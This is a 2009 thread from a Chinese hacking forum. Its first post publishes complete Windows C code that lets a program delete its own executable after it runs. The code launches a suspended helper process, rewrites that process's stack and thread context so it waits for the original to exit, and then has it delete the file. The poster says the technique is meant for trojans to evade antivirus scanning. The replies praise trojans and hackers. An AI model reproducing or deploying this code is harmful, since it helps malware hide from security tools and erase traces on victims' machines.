IT你好

加入 |登录

IT你好技术论坛广场红黑技术 › 查看主题

125

查看

2

回复
返回列表
run

Rank: 2

帖子
13 
精华
积分
134 
UID
79 
go

程序自杀代码

1
发表于 2009-12-17 21:39 | 只看该作者 | 倒序看帖 | 打印
#include <windows.h>   
   
BOOL DeleteMyself(WCHAR *pHelper)   
{   
    int ret;   
     WCHAR helper[MAX_PATH];   
     ZeroMemory(helper, sizeof(helper));   
    if (pHelper)   
         wcsncpy(helper, pHelper, MAX_PATH-2);   
    else   
         wcscpy(helper, L"calc.exe");   
        
     STARTUPINFOW si = {sizeof(STARTUPINFOW),0};   
     PROCESS_INFORMATION pi;   
        
     HANDLE hSYNC = OpenProcess(SYNCHRONIZE, TRUE, GetCurrentProcessId());   
        
    if (CreateProcessW(NULL, helper, 0, 0, TRUE, CREATE_SUSPENDED, 0, 0, &si, &pi))   
     {   
         CONTEXT ctx = {CONTEXT_FULL,0};   
         ret = GetThreadContext(pi.hThread, &ctx);   
            
         WCHAR MyselfPath[MAX_PATH];   
        int nPathLen = GetModuleFileNameW(NULL, MyselfPath, MAX_PATH);   
            
         struct StackContext   
         {   
             DWORD_PTR DeleteFileW;   
             DWORD_PTR WaitForSingleObject_argv1;   
             DWORD_PTR WaitForSingleObject_argv2;   
             DWORD_PTR ExitProcess;   
             DWORD_PTR DeleteFileW_argv1;   
             DWORD_PTR shit;   
             DWORD_PTR ExitProcess_argv1;   
         }stackctx;   
            
         HMODULE hKernel32 = GetModuleHandleW(L"Kernel32.dll");   
            
         ctx.Eip = (DWORD_PTR)GetProcAddress(hKernel32, "WaitForSingleObject");   
         ctx.Esp = (DWORD_PTR)VirtualAllocEx(pi.hProcess, 0, 512*1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);   
         ctx.Esp += 256*1024;   
         stackctx.DeleteFileW = (DWORD_PTR)GetProcAddress(hKernel32, "DeleteFileW");   
         stackctx.WaitForSingleObject_argv1 = (DWORD_PTR)hSYNC;   
         stackctx.WaitForSingleObject_argv2 = (DWORD_PTR)-1;   
         stackctx.ExitProcess = (DWORD_PTR)GetProcAddress(hKernel32, "ExitProcess");   
         stackctx.DeleteFileW_argv1 = (DWORD_PTR)VirtualAllocEx(pi.hProcess, 0, (nPathLen+1)*sizeof(WCHAR), MEM_COMMIT, PAGE_EXECUTE_READWRITE);   
         ret = WriteProcessMemory(pi.hProcess, (LPVOID)stackctx.DeleteFileW_argv1, MyselfPath, (nPathLen+1)*sizeof(WCHAR), NULL);   
        if (!ret) return FALSE;   
            
         stackctx.shit = 0;   
         stackctx.ExitProcess_argv1 = 0;   
            
         ret = WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Esp), &stackctx, sizeof(stackctx), NULL);   
        if (!ret) return FALSE;   
            
         ret = SetThreadContext(pi.hThread, &ctx);   
        if (!ret) return FALSE;   
            
         ResumeThread(pi.hThread);   
         CloseHandle(pi.hThread);   
         CloseHandle(pi.hProcess);   
        return TRUE;   
     }else   
     {   
        return FALSE;   
     }   
}   
   
   
int main()   
{   
     DeleteMyself(0);   
    return 0;   
}   
   
//2000/xp/2003/vista 上已经测试通过
此代码用于木马在运行完后,在内存中将自己的进程结束,从而躲过杀毒软件的查杀!!慎用!
1

评分人数

TOP

Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20

帖子
1135 
精华
144 
积分
8341 
UID
2
发表于 2009-12-18 00:13 | 只看该作者
很强大的 木马是在是太厉害了

TOP

Rank: 8Rank: 8

帖子
62 
精华
积分
641 
UID
68 
3
发表于 2009-12-18 21:57 | 只看该作者
黑客就要像你这样厉害...
Impossible into I'm possible

TOP

IT你好技术论坛

GMT+8, 2026-1-13 10:52, Processed in 0.017292 second(s), 11 queries.

Powered by Discuz! X1

© 2001-2010 Comsenz Inc.